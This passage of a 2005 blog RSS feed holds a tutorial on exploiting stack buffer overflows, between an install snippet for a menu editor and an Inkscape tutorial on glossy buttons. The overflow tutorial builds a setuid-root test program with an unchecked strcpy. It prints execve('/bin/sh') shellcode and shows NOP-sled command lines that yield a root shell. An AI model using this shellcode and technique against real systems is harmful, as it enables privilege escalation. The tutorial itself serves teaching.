<div class="code">
#!/bin/bash<br />
python2.4 /usr/bin/smeg.py
</div>
<p>And abracadabra, your Smeg menu editor is installed and can be run by executing <i>/usr/bin/smeg</i>.<br />
Have fun while editing your menu! <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2005/08/23/bringing-smeg-to-debian/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Brief Tutorial About Buffer-Overflows</title>
		<link>http://devilx.net/2005/08/15/a-brief-tutorial-about-buffer-overflows/</link>
		<comments>http://devilx.net/2005/08/15/a-brief-tutorial-about-buffer-overflows/#comments</comments>
		<pubDate>Mon, 15 Aug 2005 09:07:30 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://codedev.homelinux.org/?p=124</guid>
		<description><![CDATA[Buffer-Overflows. On nearly each security-advise you hear about them, "Bufferoverflow-vulnerability in the Microsoft Jet Database Engine", "Bufferoverflow-vulnerability in ASN.1-Library", "Bufferoverflow-vulnerability in the rsync-server". But what exactly is a "Bufferoverflow" and how can you exploit it? <a href="http://devilx.net/2005/08/15/a-brief-tutorial-about-buffer-overflows/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Buffer-Overflows. On nearly each security-advise you hear about them, &#8220;Bufferoverflow-vulnerability in the Microsoft Jet Database Engine&#8221;, &#8220;Bufferoverflow-vulnerability in ASN.1-Library&#8221;, &#8220;Bufferoverflow-vulnerability in the rsync-server&#8221;. But what exactly is a &#8220;Bufferoverflow&#8221; and how can you exploit it?<br />
To understand this, you should know a programming language like C so that you have a clue what a buffer is and maybe also how it works. Buffers are variables with a defined or an undefined size used for temporary storage of information in the Random Access Memory (short RAM). According to this, a buffer-overflow is an &#8220;flooding&#8221; of this buffer. This, you can achieve for example by declaring a buffer with a size of 500 byte and copying 600 byte into it. This would result an overflow of 100 byte. Normally, such an overflow would do nothing else than just let the program crash because of an &#8220;Segmentation Fault&#8221;. The art of effective buffer-overflowing is now to not let the program just crash, but make it do things which it normally is not supposed to do, like executing a shellcode. There are many different methods to make a program do unforeseen events, but in this tutorial I&#8217;m going to explain everything by using the NOP sled attack.</p>
<p>NOP sleds (&#8220;No Operation sleds&#8221;) are big arrays (or &#8220;sleds&#8221;) which contain a defined number of NOPs, a shellcode and an return address. Some of you may now ask, what &#8220;NOPs&#8221; are. Well, &#8220;NOPs&#8221; are nothing more than Null-Operations (Hex-Value: 0&#215;90) which on a x86 architecture do&#8230; well&#8230; just nothing. On the Sparc architecture for example, NOPs are used for instrucation-pipelining.<br />
So, however, to make things a bit clearer let&#8217;s take a closer look to the built-up of a NOP sled:</p>
<div class="code">
<table>
<tr>
<td>[NOP Sled]</td>
<td>[Shellcode]</td>
<td>[Return Address]</td>
</tr>
</table>
</div>
<p>While executing such an array, the EIP (&#8220;Extended Instruction Pointer&#8221;) will be set to the start of the sled. Then, he just executes every NOP and increments by one, what means that he keeps moving on forward to the shellcode. When he arrives there, the EIP executes the shellcode and returns after that to the return address given at the end of the sled. This whole thing may sound pretty complicated for a novice, but it really isn&#8217;t. Let&#8217;s make it clearer by using an example programm:</p>
<div class="code">
 int main(int argc,char *argv[])<br />
{<br />
  char buff[500];<br />
  strcpy(buff,argv[1]);<br />
  return(0);<br />
}
</div>
<p>The code can be compiled with the following command line:</p>
<div class="code">
$ gcc ./test.c -o ./test
</div>
<p>After that, the executable needs to be set to the owner &#8220;root&#8221; and made sticky:</p>
<div class="code">
$sudo su<br />
# chown root ./test<br />
# chmod +s ./test
</div>
<p>Now the real attack starts. By using perl we generate a shellcode and write this into the file &#8220;shellcode&#8221;:</p>
<div class="code">
 $ perl -e &#8216;print &#8220;\x31\xc0\xb0\x46\x31\xdb\x31\xc9<br />
\x80\xeb\x16\x31\xc0\x88\x43\x07\x89\x5b\x08<br />
\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c<br />
\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f<br />
\x73\x68&#8243;;&#8217; > shellcode
</div>
<p>Then we pass our program the perl-generated NOP sled, followed by the shellcode loaded from our &#8220;shellcode&#8221;-file and ended by the return address:</p>
<div class="code">
$ ./test `perl -e &#8216;print &#8220;\x90&#8243;x202;&#8217;&#8220;cat shellcode&#8220;perl -e &#8216;print &#8220;\x78\xf9\xff\xbf&#8221;x88;&#8217;`<br />
sh-2.05a# whoami<br />
root<br />
sh-2.05a#
</div>
<p>Abracadabra, we have root access and we can do whatever we want on the box. But what exactly happend, that we now have root-rights?</p>
<ul>
<li>A shellcode has been created, which is made of hexadecimal assembler-code that spawns a new shell.</li>
<li>A NOP sled has been generated, which has been added for 202 times.</li>
<li>The return address has been added for 88 times.</li>
</ul>
<p>Some people may now wonder, where all these numbers come from. Why 202 NOP sleds, why 88 returns addresses? Well, these are no guessed numbers, they are exactly calculated:<br />
The number of bytes in the NOP sled plus the one in the shellcode have to be divisible by four. When the shellcode is (like in our example) 46 bytes long and you would add a NOP sled which is for example only 200 bytes long, then the result of the addition would be 246. The problem is now, that 246 bytes are not divisible by 4, unlike 248 which is. These 2 missing bytes can simply be added to the NOP sled, since the NOP sled itself has no special function which depends its size. Because we now also have to add the return address, we first need to now its length and the number of times that the return address would fit into the buffer till the 600th byte. Our return address is 4 byte long and the free space that remaind averages 352 byte ([size of the buffer] &#8211; [size of the NOP sled + size of the shellcode]). Now we divide 352 by the site of the return address (4 byte) and we get 88. So, now we have the number of return addresses we&#8217;d have to add at the end.</p>
<p>The exploitation of programs by using the command-line provides more flexibillity which can be a big advantage. For example it questionable if the previous example really needs 600 bytes to exploit the test program. By exploiting with the command-line we can test that pretty fast and simple:</p>
<div class="code">
$ ./test `perl -e &#8216;print &#8220;\x90&#8243;x202;&#8217;&#8220;cat shellcode&#8220;perl -e &#8216;print \x78\xf9\xff\xbf&#8221;x65;&#8217;`<br />
$ whoami<br />
user
</div>
<p></p>
<div class="code">
$ ./test `perl -e &#8216;print &#8220;\x90&#8243;x202;&#8217;&#8220;cat shellcode&#8220;perl -e &#8216;print \x78\xf9\xff\xbf&#8221;x66;&#8217;`<br />
$ whoami<br />
user
</div>
<p></p>
<div class="code">
$ ./test `perl -e &#8216;print &#8220;\x90&#8243;x202;&#8217;&#8220;cat shellcode&#8220;perl -e &#8216;print \x78\xf9\xff\xbf&#8221;x67;&#8217;`<br />
$ whoami<br />
user
</div>
<p></p>
<div class="code">
$ ./test `perl -e &#8216;print &#8220;\x90&#8243;x202;&#8217;&#8220;cat shellcode&#8220;perl -e &#8216;print \x78\xf9\xff\xbf&#8221;x68;&#8217;`<br />
$ whoami<br />
user
</div>
<p></p>
<div class="code">
$ ./test `perl -e &#8216;print &#8220;\x90&#8243;x202;&#8217;&#8220;cat shellcode&#8220;perl -e &#8216;print \x78\xf9\xff\xbf&#8221;x69;&#8217;`<br />
Segmentation Fault
</div>
<p></p>
<div class="code">
$ ./test `perl -e &#8216;print &#8220;\x90&#8243;x202;&#8217;&#8220;cat shellcode&#8220;perl -e &#8216;print \x78\xf9\xff\xbf&#8221;x70;&#8217;`<br />
sh-2.05a# whoami<br />
root
</div>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2005/08/15/a-brief-tutorial-about-buffer-overflows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Creating lickable plastic using Inkscape</title>
		<link>http://devilx.net/2005/05/23/creating-lickable-plastic-using-inkscape/</link>
		<comments>http://devilx.net/2005/05/23/creating-lickable-plastic-using-inkscape/#comments</comments>
		<pubDate>Mon, 23 May 2005 20:45:54 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Art & Design]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://codedev.homelinux.org/?p=74</guid>
		<description><![CDATA[Have you ever been wondering how the graphics designers of Apple create their Mac OS X buttons and stuff? <a href="http://devilx.net/2005/05/23/creating-lickable-plastic-using-inkscape/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Have you ever been wondering how the graphics designers of Apple create their Mac OS X buttons and stuff? This glossy plastic (or &#8220;lickable plastic&#8221;, how Rodney Dawes called it) look which makes little kids get wide-open eyes. In this tutorial I&#8217;m going to show you, how to create such an effect using only one simple tool: Inkscape.<br />
<br />
First of all, you need to create your basic shape. Here, I use a speech-bubble, but you can use whatever you want. Keep in mind, that the more edges, corners or jags your shape has, the harder it be to plastify it.<br />
<br />
<a href="http://devilx.net/tutorials/art/lickable_plastic/screenshots/Screenshot01.png"><img style="float: none;" src="/tutorials/art/lickable_plastic/thumbs/Screenshot01.png"/></a></p>
<p>Now, you need to paint the border around your shape. For this, take the color you want to use for your bubble. I used a darken yellow/orange.<br />
<br />
<a href="http://devilx.net/tutorials/art/lickable_plastic/screenshots/Screenshot02.png"><img style="float: none;" src="/tutorials/art/lickable_plastic/thumbs/Screenshot02.png"/></a></p>
<p>After that, we need a gradient on our shape. This gradient should start on the bottom with a darker value of the color we used for our border and end on the top with a brighter value. If you do this correctly, you&#8217;ll have the color you wanted to use for your shape in the middle of the gradient.<br />
<br />
<a href="http://devilx.net/tutorials/art/lickable_plastic/screenshots/Screenshot03.png"><img style="float: none;" src="/tutorials/art/lickable_plastic/thumbs/Screenshot03.png"/></a></p>
<p>Now, for the next step you need to copy your shape and paste it into your document. Then, remove it&#8217;s border and create a new gradient on it. The gradient should start on the bottom of your shape with white (opacy: 85%) and end at about 75% of your shape with complete transparency. After you have created this gradient, move your pasted shape exactly onto your basic shape.<br />
<br />
<a href="http://devilx.net/tutorials/art/lickable_plastic/screenshots/Screenshot04.png"><img style="float: none;" src="/tutorials/art/lickable_plastic/thumbs/Screenshot04.png"/></a></p>
<p>After you&#8217;ve done that, the hardest step begins. You need a shape which looks on it&#8217;s top like the top of your basic shape but which is around 25% of it and ends at the bottom like a box with rounded corners. This kind of shape you can create on two ways: You create a new box with rounded corners and form the top of it the way you need it, or you copy your shape, cut it after 25% from the top and then, round the corners. You must decide how you do this, it&#8217;s better to look first, how the easiest way would be.<br />
After we got our new shape, we need another gradient. Now the gradient starts on the top with white (opacy: 90%) and ends on the new shape&#8217;s bottom with white (opacy: 20% or 10%). Then, move the shape to the top of your basic shape.<br />
<br />
<a href="http://devilx.net/tutorials/art/lickable_plastic/screenshots/Screenshot05.png"><img style="float: none;" src="/tutorials/art/lickable_plastic/thumbs/Screenshot05.png"/></a></p>
<p>Yay, now you&#8217;re done and your lickable plastic speech-bubble is ready for usage! This principe works with every kind of shape and every kind of colors. You easily can change your shape&#8217;s color by changing the gradient- and bordercolor of your basic shape.<br />
<br />
<a href="http://devilx.net/tutorials/art/lickable_plastic/screenshots/Screenshot06.png"><img style="float: none;"src="/tutorials/art/lickable_plastic/thumbs/Screenshot06.png"/></a><br /></p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2005/05/23/creating-lickable-plastic-using-inkscape/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

